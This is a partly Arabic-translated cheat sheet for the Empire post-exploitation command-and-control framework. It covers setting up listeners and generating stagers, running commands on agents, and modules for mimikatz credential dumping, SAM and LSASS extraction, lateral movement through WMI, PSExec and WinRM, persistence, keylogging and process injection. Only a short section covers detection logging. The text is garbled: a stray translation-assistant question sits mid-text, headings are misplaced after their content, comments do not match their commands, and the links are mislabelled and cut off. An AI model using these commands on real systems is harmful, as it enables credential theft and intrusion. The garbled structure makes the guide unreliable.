دليل الإطار التنفيذي (Empire Framework) المختصر
نظرة عامة
Empire هو إطار ما بعد الاختراق يتضمن وكيل Windows نقي بـ PowerShell 2.0 ووكيل Linux/macOS نقي بـ Python 3. يوفر بنية تحكم وسيطرة (C2) قوية لعمليات الفريق الأحمر واختبار الاختراق ومحاكاة المعارض.
⚠️ تحذير: Empire هي أداة اختبار أمني يجب استخدامها فقط في البيئات التي لديك إذن صريح للقيام بذلك.
Would you like me to continue translating the remaining sections? Please confirm, and I’ll proceed with the translations.```bash
Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git
Navigate to the directory
cd Empire
Run the installation script
sudo ./setup/install.sh
### Using Docker
```bash
# Pull the Docker image
docker pull bcsecurity/empire:latest
# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
On Kali Linux
# Install from package manager
sudo apt update
sudo apt install powershell-empire
Basic Usage
Starting Empire
# Start the Empire server
sudo empire
# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>
Using Starkiller (GUI)
# Install Starkiller
npm install -g @starkiller/starkiller
# Run Starkiller
starkiller
Empire CLI Navigation
| أمر | وصف |
|---|---|
help | عرض قائمة المساعدة |
menu | العودة إلى القائمة الرئيسية |
back | العودة مستوى واحد للقائمة السابقة |
exit | مملكة الخروج |
usemodule <module> | اختر وحدة للاستخدام |
usestager <stager> | اختر مرحلة للاستخدام |
uselistener <listener> | اختر مستمعًا للاستخدام |
interact <agent> | تفاعل مع وكيل |
searchmodule <term> | ابحث عن الوحدات النمطية |
Listeners
Creating a Listener
# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute
Common Listener Options
| خيار | وصف |
|---|---|
Name | اسم للمستمع |
Host | عنوان IP/اسم المضيف للبيئة التجريبية |
Port | منفذ للمستمع |
CertPath | مسار الشهادة لـ HTTPS |
DefaultDelay | تأخير استدعاء الوكيل (بالثواني) |
DefaultJitter | التذبذب في استدعاءات الوكيل (0.0-1.0) |
DefaultProfile | ملف التواصل الافتراضي |
KillDate | تاريخ خروج المستمع (MM/DD/YYYY) |
WorkingHours | ساعات الاتصال للوكيل (09:00-17:00) |
Listener Management
# List all listeners
listeners
# Kill a listener
kill http_listener
# View a listener's options
info http_listener
Stagers
Generating a Stager
# In Empire CLI
usestager windows/launcher_bat
set Listener http_listener
generate
Common Stager Types
| ستاجر | وصف |
|---|---|
windows/launcher_bat | مشغّل ملف BAT |
windows/launcher_vbs | مُطلق نص برمجية VBS |
windows/launcher_powershell | مشغّل PowerShell |
multi/launcher | منصة إطلاق متعددة المنصات |
osx/launcher | مُطلق macOS |
linux/launcher | مُطلق Linux |
windows/dll | مُطلق DLL |
windows/macro | مُطلق ماكرو المكتب |
windows/hta | مُطلق HTA |
Agents
Agent Commands
# List all agents
agents
# Interact with an agent
interact C2AGENT123
# Get agent info
info
# Execute a shell command
shell whoami
# Run a PowerShell command
powershell Get-Process
# Upload a file
upload /path/to/local/file /path/on/target
# Download a file
download /path/on/target /local/path
# Take a screenshot
screenshot
# Exit agent menu
back
Agent Management
# Rename an agent
rename C2AGENT123 new_name
# Kill an agent
kill C2AGENT123
# Remove an agent from the database
remove C2AGENT123
# Set sleep interval
sleep 30
# Set jitter percentage
sysinfo
Modules
Using Modules
# List available modules
usemodule
# Search for modules
searchmodule credentials
# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user
# Set module options
set Username administrator
# Execute the module
execute
Common Module Categories
Credential Access
# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords
# Dump SAM database
usemodule powershell/credentials/sam
# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump
Situational Awareness
# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user
# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer
# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group
Lateral Movement
# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi
# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec
# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm
Persistence
# Registry persistence
usemodule powershell/persistence/userland/registry
# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks
# WMI persistence
usemodule powershell/persistence/elevated/wmi
Advanced Features
Malleable C2 Profiles
# In Empire CLI
profiles
use default
set DefaultProfile /path/to/profile.profile
```### اعتبارات الأمن التشغيلي (OPSEC)
Set agent kill date
set KillDate 01/01/2025
Set working hours
set WorkingHours 09:00-17:00
Increase agent sleep time
sleep 300 30
Use keylogging module
usemodule powershell/collection/keylogger
Use clipboard monitoring
usemodule powershell/collection/clipboard_monitor
Use screenshot module
usemodule powershell/collection/screenshot
```bash
# Check if the listener is running
listeners
# Verify firewall settings
sudo iptables -L
# Check for port conflicts
netstat -tuln|grep <port>
```1. **مشاكل الاتصال**
```bash
# Verify agent is running
agents
# Check for network connectivity issues
# Verify sleep/jitter settings
```2. **عدم تسجيل الوكيل**
```bash
# Check module requirements
info
# Verify agent privileges
shell whoami
# Try running in a different process context
usemodule powershell/management/psinject
```3. **إخفاقات تنفيذ الوحدة**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
```## التدابير الدفاعية
### أساليب الكشف
- تسجيل كتلة نص PowerShell
- تسجيل وحدة PowerShell
- AMSI (واجهة مسح مكافحة البرامج الضارة)
- تحليل حركة المرور الشبكية
- التحليل السلوكي
### تقنيات المنع
https://github.com/BC-SECURITY/Empire#
# الموارد
- [مستودع BC Security على GitHub](https://bc-security.gitbook.io/empire-wiki/)
- [ويكي Empire](https://github.com/BC-SECURITY/Starkiller)
- [مستودع Starkiller على GitHub](https://attack.mitre.org/software/S0363/)
- [MITRE ATT&CK - Empire](